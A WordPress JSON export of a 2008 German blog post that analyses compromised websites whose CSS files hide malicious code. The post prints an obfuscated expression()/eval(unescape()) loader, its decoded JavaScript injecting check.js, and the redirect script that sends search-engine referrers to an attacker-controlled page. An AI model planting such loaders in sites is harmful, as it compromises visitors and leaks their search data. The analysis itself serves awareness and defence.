{"id":775,"date":"2008-12-22T23:44:05","date_gmt":"2008-12-22T22:44:05","guid":{"rendered":"http:\/\/www.mitternachtshacking.de\/blog\/775-gehackte-webseiten"},"modified":"2018-05-31T14:59:16","modified_gmt":"2018-05-31T13:59:16","slug":"gehackte-webseiten","status":"publish","type":"post","link":"https:\/\/www.mitternachtshacking.de\/blog\/775-gehackte-webseiten","title":{"rendered":"Gehackte Webseiten"},"content":{"rendered":"<p>Zur Zeit scheint es sich wieder zu h\u00e4ufen, dass Webseiten kompromittiert werden. Zumindest ist das mein pers\u00f6nlicher Eindruck wenn man so durch das Internet surft. Im Gegensatz zu fr\u00fcher findet man jedoch kaum noch Defacements, statt dessen werden CSS-Dateien m\u00f6glichst unauff\u00e4llig infiziert:<\/p>\n<p><code>\/* a0b4df006e02184c60dbf503e71c87ad *\/<br \/>\nbody { margin-top: expression(<br \/>\neval(unescape('<br \/>\n%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74<br \/>\n%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53<br \/>\n%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A<br \/>\n%53%53%32%20%3D%20%35%38%35%32%36%31%3B%20%4A%53%53<br \/>\n%33%20%3D%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61%6E<br \/>\n%65%74%2F%34%69%6D%61%67%65%73%2F%74%65%6D%70%6C%61<br \/>\n%74%65%73%2F%69%6E%65%67%69%62%65%2F%64%75%6D%6D%79<br \/>\n%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64<br \/>\n%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65<br \/>\n%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A<br \/>\n%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73<br \/>\n%72%63%27%2C%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61<br \/>\n%6E%65%74%2F%34%69%6D%61%67%65%73%2F%74%65%6D%70%6C<br \/>\n%61%74%65%73%2F%69%6E%65%67%69%62%65%2F%63%68%65%63<br \/>\n%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74<br \/>\n%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53<br \/>\n%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74<br \/>\n%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65<br \/>\n%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E<br \/>\n%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D<br \/>\n%3B%20<br \/>\n'))) }<br \/>\n\/* a995d2cc661fa72452472e9554b5520c *\/<\/code><\/p>\n<p>Wenn man den Hex-Code mittels Unescape dekodiert, findet man folgenden Javascript:<\/p>\n<p><code>if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 585261; JSS3 = '\/living-planet\/4images\/templates\/inegibe\/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '\/living-planet\/4images\/templates\/inegibe\/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };<\/code><\/p>\n<p>Und in der Datei check.js dann die eigentliche Schadfunktion:<\/p>\n<p><code>if ( (Math.random()*60 &lt; JSS1) &amp;&amp; document.referrer.match(\/^http:\\\/\\\/([a-z0-9_\\-]+\\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport| mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\\.\/) &amp;&amp; document.referrer.match(\/[?&amp;](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string| search_word|buscar|text|words|su|qt|rdata)\\=\/) &amp;&amp; !document.referrer.match(\/[?&amp;](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string| search_word|buscar|text|words|su|qt|rdata)\\=[^&amp;]+(%3A|%22)\/) ){ location.href=JSS3+'?r='+encodeURIComponent(document.referrer)+'&amp;s='+JSS2; };<\/code><\/p>\n<p>Das Javascript-Segment pr\u00fcft also meinen Referer und schickt den durch die Gegend. F\u00fcr mich sieht das wie klassisches aber unauff\u00e4lliges Ausspionieren aus. Sehr unfreundlich. Vielleicht sollte man den Betreiber des Servers www.sixstorms.de (<em>Vorsicht beim Klicken!<\/em>) warnen. Ich finde nur gerade keine Mailadresse. Eigentlich aber auch egal. Wer Firefox und Noscript verwendet ist vor dem Angriff gesch\u00fctzt, der Rest sind dann vermutlich Kollateralsch\u00e4den.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Zur Zeit scheint es sich wieder zu h\u00e4ufen, dass Webseiten kompromittiert werden. Zumindest ist das mein pers\u00f6nlicher Eindruck wenn man so durch das Internet surft. Im Gegensatz zu fr\u00fcher findet man jedoch kaum noch Defacements, statt dessen werden CSS-Dateien m\u00f6glichst unauff\u00e4llig infiziert: \/* a0b4df006e02184c60dbf503e71c87ad *\/ body { margin-top: expression( eval(unescape(&#8218; %69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74 %45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53 %27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A %53%53%32%20%3D%20%35%38%35%32%36%31%3B%20%4A%53%53 %33%20%3D%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61%6E [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[8],"tags":[],"_links":{"self":[{"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/posts\/775"}],"collection":[{"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/comments?post=775"}],"version-history":[{"count":0,"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/posts\/775\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/media?parent=775"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/categories?post=775"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mitternachtshacking.de\/blog\/wp-json\/wp\/v2\/tags?post=775"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}